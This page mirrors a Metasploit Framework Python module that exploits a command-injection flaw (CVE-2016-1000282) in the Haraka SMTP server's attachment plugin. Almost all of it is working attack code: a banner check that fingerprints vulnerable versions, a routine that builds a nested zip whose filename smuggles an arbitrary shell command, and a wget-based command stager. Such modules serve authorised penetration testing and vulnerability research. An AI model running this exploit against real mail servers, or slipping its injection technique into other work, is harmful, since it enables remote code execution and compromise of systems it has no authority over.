CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/smtp/haraka.py
Views: 11623
1
#!/usr/bin/env python3
2
3
# Vendor Homepage: https://haraka.github.io/
4
# Software Link: https://github.com/haraka/Haraka
5
# Exploit github: http://github.com/outflankbv/Exploits/
6
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
7
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
8
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
9
# Tested versions: 2.8.8 and 2.7.2
10
# Thanks to: Dexlab.nl for asking me to look at Haraka.
11
12
import smtplib
13
import re
14
from distutils.version import StrictVersion
15
from email.mime.application import MIMEApplication
16
from email.mime.multipart import MIMEMultipart
17
from email.mime.text import MIMEText
18
import zipfile
19
20
try:
21
# Python 2 plain strings are bytes
22
from StringIO import StringIO as BytesIO
23
except ImportError:
24
from io import BytesIO
25
from metasploit import module
26
27
metadata = {
28
"name": "Haraka SMTP Command Injection",
29
"description": """
30
The Haraka SMTP server comes with a plugin for processing attachments.
31
Versions before 2.8.9 can be vulnerable to command injection
32
""",
33
"authors": [
34
"xychix <xychix[AT]hotmail.com>",
35
"smfreegard",
36
"Adam Cammack <adam_cammack[AT]rapid7.com>",
37
],
38
"date": "2017-01-26",
39
"references": [
40
{"type": "cve", "ref": "2016-1000282"},
41
{"type": "edb", "ref": "41162"},
42
{"type": "url", "ref": "https://github.com/haraka/Haraka/pull/1606"},
43
],
44
"type": "remote_exploit_cmd_stager",
45
"rank": "excellent",
46
"wfsdelay": 5,
47
"privileged": True,
48
"targets": [
49
{"platform": "linux", "arch": "x64"},
50
{"platform": "linux", "arch": "x86"},
51
],
52
"payload": {"command_stager_flavor": "wget"},
53
"options": {
54
"email_to": {
55
"type": "string",
56
"description": "Email to send to, must be accepted by the server",
57
"required": True,
58
"default": "admin@localhost",
59
},
60
"email_from": {
61
"type": "string",
62
"description": "Address to send from",
63
"required": True,
64
"default": "[email protected]",
65
},
66
"rhost": {
67
"type": "address",
68
"description": "Target server",
69
"required": True,
70
"default": None,
71
},
72
"rport": {
73
"type": "port",
74
"description": "Target server port",
75
"required": True,
76
"default": 25,
77
},
78
"command": {
79
"type": "string",
80
"description": "Command to run on the target",
81
"required": True,
82
"default": "/bin/echo hello",
83
},
84
},
85
"notes": {"AKA": ["Harakiri"]},
86
}
87
88
89
def send_mail(to, mailserver, cmd, mfrom, port):
90
msg = MIMEMultipart()
91
html = "harakiri"
92
msg["Subject"] = "harakiri"
93
msg["From"] = mfrom
94
msg["To"] = to
95
msg.attach(MIMEText(html))
96
module.log(
97
"Send harariki to %s, commandline: %s , mailserver %s is used for delivery"
98
% (to, cmd, mailserver),
99
"debug",
100
)
101
part = MIMEApplication(create_zip(cmd), Name="harakiri.zip")
102
part["Content-Disposition"] = 'attachment; filename="harakiri.zip"'
103
msg.attach(part)
104
module.log("Sending mail to target server...")
105
module.log(msg.as_string(), "debug")
106
s = smtplib.SMTP(mailserver, port)
107
try:
108
resp = s.sendmail(mfrom, to, msg.as_string())
109
except smtplib.SMTPDataError as err:
110
if err[0] == 450:
111
module.log("Triggered bug in target server (%s)" % err[1], "good")
112
s.close()
113
return True
114
module.log("Bug not triggered in target server", "error")
115
module.log(
116
"it may not be vulnerable or have the attachment plugin activated", "error"
117
)
118
s.close()
119
return False
120
121
122
class InMemoryZip(object):
123
def __init__(self):
124
self.in_memory_zip = BytesIO()
125
126
def append(self, filename_in_zip, file_contents):
127
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
128
zf.writestr(filename_in_zip, file_contents)
129
for zfile in zf.filelist:
130
zfile.create_system = 0
131
return self
132
133
def read(self):
134
self.in_memory_zip.seek(0)
135
return self.in_memory_zip.read()
136
137
138
def create_zip(cmd="touch /tmp/harakiri"):
139
z1 = InMemoryZip()
140
z2 = InMemoryZip()
141
z2.append(
142
"harakiri.txt",
143
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.",
144
)
145
z1.append('a";%s;echo "a.zip' % cmd, z2.read())
146
return z1.read()
147
148
149
def check_banner(args):
150
module.log(
151
"{}:{} Starting banner check for Haraka < 2.8.9".format(
152
args["rhost"], args["rport"]
153
),
154
level="debug",
155
)
156
c = smtplib.SMTP()
157
try:
158
(code, banner) = c.connect(args["rhost"], int(args["rport"]))
159
except:
160
return "unknown"
161
162
c.quit()
163
164
if code == 220 and "Haraka" in banner:
165
versions = re.findall("(\d+\.\d+\.\d+)", banner)
166
if versions:
167
if StrictVersion(versions[0]) < StrictVersion("2.8.9"):
168
return "appears"
169
else:
170
return "safe"
171
else:
172
return "detected"
173
elif code == 220:
174
return "detected"
175
else:
176
return "unknown"
177
178
179
def exploit(args):
180
send_mail(
181
args["email_to"],
182
args["rhost"],
183
args["command"],
184
args["email_from"],
185
int(args["rport"]),
186
)
187
188
189
if __name__ == "__main__":
190
module.run(metadata, exploit, soft_check=check_banner)
191
192